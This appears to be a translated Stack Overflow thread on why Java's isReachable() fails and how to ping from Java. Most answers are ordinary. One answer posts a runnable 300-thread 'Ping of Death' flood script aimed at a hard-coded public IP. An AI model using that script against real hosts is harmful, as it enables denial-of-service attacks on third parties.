28

我在网络上有一个设备,我正试图通过我的 Java 程序 ping 通。通过我的 Windows 命令提示符,我可以很好地 ping 设备地址并对地址进行跟踪。

在网上,我看到为了通过 Java 执行 ping 操作,您必须执行以下操作:

InetAddress.getByName(address).isReachable(timeout);

但是,当我在我的设备地址上使用此代码时,它总是在我的程序中返回 false。我正在使用具有良好超时值的正确 IPv4 地址。此外,如果我使用本地主机地址,它工作正常。

为什么我可以通过 cmd ping 设备,但不能通过我的程序?我在各个地方都听说这不是真正的ping。

有没有更好的方法来模拟 Java 中的 ping?

谢谢

4

9 回答 9

28

isReachable()如果能获得权限就使用ICMP ECHO REQUESTs ,否则会尝试在目的主机的 7 端口(Echo)上建立 TCP 连接。 因此,如果您的客户端无权执行. 可能在您的情况下,您都需要解决一侧或另一侧才能使其正常工作。
ICMP ECHO REQUEST

我在 OSX 和 Linux 客户端上测试了以下内容,它在测试其他 OSX、Linux 和 Windows Server 机器的可达性时工作。我没有 Windows 机器来作为客户端运行它。

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

从我在这里读到的。这显然是一个 Windows 限制,并且ICMP PING在 Windows 上不支持作为 Windows 2000 之前的系统调用,因此它默认尝试连接到端口 7,并且在您尝试“访问”的计算机上被阻止。Java 还不支持新的本机系统调用。权限适用于基于 Unix 的系统,因为它们需要 root 才能发送ICMP数据包。

如果您想为 Windows 2000 和更新版本推出自己的 Windows 本机JNI ICMP PING,则可以使用IcmpSendEcho 函数

于 2010-03-15T16:27:37.053 回答
10

当我需要在 Windows、Linux 和 OSX 中进行真正的 ICMP ping 时(我尚未测试其他系统),我会使用此功能(来自本文)。

public static boolean isReachableByPing(String host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
于 2012-07-28T21:16:40.557 回答
2

有点晚了,但我在尝试做同样的事情时偶然发现了这一点。

一种对我有用的解决方法是直接使用命令行 ping。

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
于 2011-11-12T13:33:26.497 回答
1

原因之一是您指定的超时时间太低。我遇到了类似的问题,但是当我将超时增加到适当的值时,isReachable 调用返回了正确的值。

于 2012-05-11T09:51:34.650 回答
1

我看到很多与该问题相关的错误代码。对我有用的代码是(网站不知道正确解析我的代码文件):

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
于 2013-07-08T11:48:37.517 回答
1

为了在没有特权的情况下从 java 轻松 ping,我使用http://www.icmp4j.org

它非常易于使用:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
于 2016-03-10T08:49:34.367 回答
1

以下 JAVA 代码是使用 Microsoft Windows 的 Ping of Death 和 Denial of Service 示例。这将用于测试目的,以建立反黑客证明和/或测试网站在类似网络攻击的情况下的性能。

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

测试完成时。您可能希望使用以下代码来清理任务管理器中的进程。

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
于 2018-03-15T04:28:56.977 回答
0

在使用 Windows 机器ping 公共 IP 地址的情况下,使用它不会有帮助:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

注意:文档指出:

如果可以获得特权,典型的实现将使用 ICMP ECHO REQUEST ,否则它将尝试在目标主机的端口 7 (Echo) 上建立 TCP 连接。

我试过了,但结果并不准确。

对我来说真正有用的是我们的用户编写的类,它发送真正的ICMP ping并根据 IP 状态返回 true 或 false。

奇怪的 InetAddress.isReachable() 问题

于 2017-02-02T08:43:00.033 回答
0

https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java 我们有

public class Ping {

    // The default daytime port
    static int DAYTIME_PORT = 13;

    // The port we'll actually use
    static int port = DAYTIME_PORT;


    // Representation of a ping target
    //
    static class Target {

        InetSocketAddress address;
        SocketChannel channel;
        Exception failure;
        long connectStart;
        long connectFinish = 0;
        boolean shown = false;

        Target(String host) {
            try {
                address = new InetSocketAddress(InetAddress.getByName(host),
                        port);
            } catch (IOException x) {
                failure = x;
            }
        }

        void show() {
            String result;
            if (connectFinish != 0)
                result = Long.toString(connectFinish - connectStart) + "ms";
            else if (failure != null)
                result = failure.toString();
            else
                result = "Timed out";
            System.out.println(address + " : " + result);
            shown = true;
        }

    }


    // Thread for printing targets as they're heard from
    //
    static class Printer
            extends Thread {
        LinkedList<Target> pending = new LinkedList<>();

        Printer() {
            setName("Printer");
            setDaemon(true);
        }

        void add(Target t) {
            synchronized (pending) {
                pending.add(t);
                pending.notify();
            }
        }

        public void run() {
            try {
                for (; ; ) {
                    Target t = null;
                    synchronized (pending) {
                        while (pending.size() == 0)
                            pending.wait();
                        t = (Target) pending.removeFirst();
                    }
                    t.show();
                }
            } catch (InterruptedException x) {
                return;
            }
        }

    }


    // Thread for connecting to all targets in parallel via a single selector
    //
    static class Connector
            extends Thread {
        Selector sel;
        Printer printer;

        // List of pending targets.  We use this list because if we try to
        // register a channel with the selector while the connector thread is
        // blocked in the selector then we will block.
        //
        LinkedList<Target> pending = new LinkedList<>();

        Connector(Printer pr) throws IOException {
            printer = pr;
            sel = Selector.open();
            setName("Connector");
        }

        // Initiate a connection sequence to the given target and add the
        // target to the pending-target list
        //
        void add(Target t) {
            SocketChannel sc = null;
            try {

                // Open the channel, set it to non-blocking, initiate connect
                sc = SocketChannel.open();
                sc.configureBlocking(false);

                boolean connected = sc.connect(t.address);

                // Record the time we started
                t.channel = sc;
                t.connectStart = System.currentTimeMillis();

                if (connected) {
                    t.connectFinish = t.connectStart;
                    sc.close();
                    printer.add(t);
                } else {
                    // Add the new channel to the pending list
                    synchronized (pending) {
                        pending.add(t);
                    }

                    // Nudge the selector so that it will process the pending list
                    sel.wakeup();
                }
            } catch (IOException x) {
                if (sc != null) {
                    try {
                        sc.close();
                    } catch (IOException xx) {
                    }
                }
                t.failure = x;
                printer.add(t);
            }
        }

        // Process any targets in the pending list
        //
        void processPendingTargets() throws IOException {
            synchronized (pending) {
                while (pending.size() > 0) {
                    Target t = (Target) pending.removeFirst();
                    try {

                        // Register the channel with the selector, indicating
                        // interest in connection completion and attaching the
                        // target object so that we can get the target back
                        // after the key is added to the selector's
                        // selected-key set
                        t.channel.register(sel, SelectionKey.OP_CONNECT, t);

                    } catch (IOException x) {

                        // Something went wrong, so close the channel and
                        // record the failure
                        t.channel.close();
                        t.failure = x;
                        printer.add(t);

                    }

                }
            }
        }

        // Process keys that have become selected
        //
        void processSelectedKeys() throws IOException {
            for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {

                // Retrieve the next key and remove it from the set
                SelectionKey sk = (SelectionKey) i.next();
                i.remove();

                // Retrieve the target and the channel
                Target t = (Target) sk.attachment();
                SocketChannel sc = (SocketChannel) sk.channel();

                // Attempt to complete the connection sequence
                try {
                    if (sc.finishConnect()) {
                        sk.cancel();
                        t.connectFinish = System.currentTimeMillis();
                        sc.close();
                        printer.add(t);
                    }
                } catch (IOException x) {
                    sc.close();
                    t.failure = x;
                    printer.add(t);
                }
            }
        }

        volatile boolean shutdown = false;

        // Invoked by the main thread when it's time to shut down
        //
        void shutdown() {
            shutdown = true;
            sel.wakeup();
        }

        // Connector loop
        //
        public void run() {
            for (; ; ) {
                try {
                    int n = sel.select();
                    if (n > 0)
                        processSelectedKeys();
                    processPendingTargets();
                    if (shutdown) {
                        sel.close();
                        return;
                    }
                } catch (IOException x) {
                    x.printStackTrace();
                }
            }
        }

    }


    public static void main(String[] args)
            throws InterruptedException, IOException {
        if (args.length < 1) {
            System.err.println("Usage: java Ping [port] host...");
            return;
        }
        int firstArg = 0;

        // If the first argument is a string of digits then we take that
        // to be the port number to use
        if (Pattern.matches("[0-9]+", args[0])) {
            port = Integer.parseInt(args[0]);
            firstArg = 1;
        }

        // Create the threads and start them up
        Printer printer = new Printer();
        printer.start();
        Connector connector = new Connector(printer);
        connector.start();

        // Create the targets and add them to the connector
        LinkedList<Target> targets = new LinkedList<>();
        for (int i = firstArg; i < args.length; i++) {
            Target t = new Target(args[i]);
            targets.add(t);
            connector.add(t);
        }

        // Wait for everything to finish
        Thread.sleep(2000);
        connector.shutdown();
        connector.join();

        // Print status of targets that have not yet been shown
        for (Iterator i = targets.iterator(); i.hasNext(); ) {
            Target t = (Target) i.next();
            if (!t.shown)
                t.show();
        }

    }

}
于 2020-06-11T08:49:13.357 回答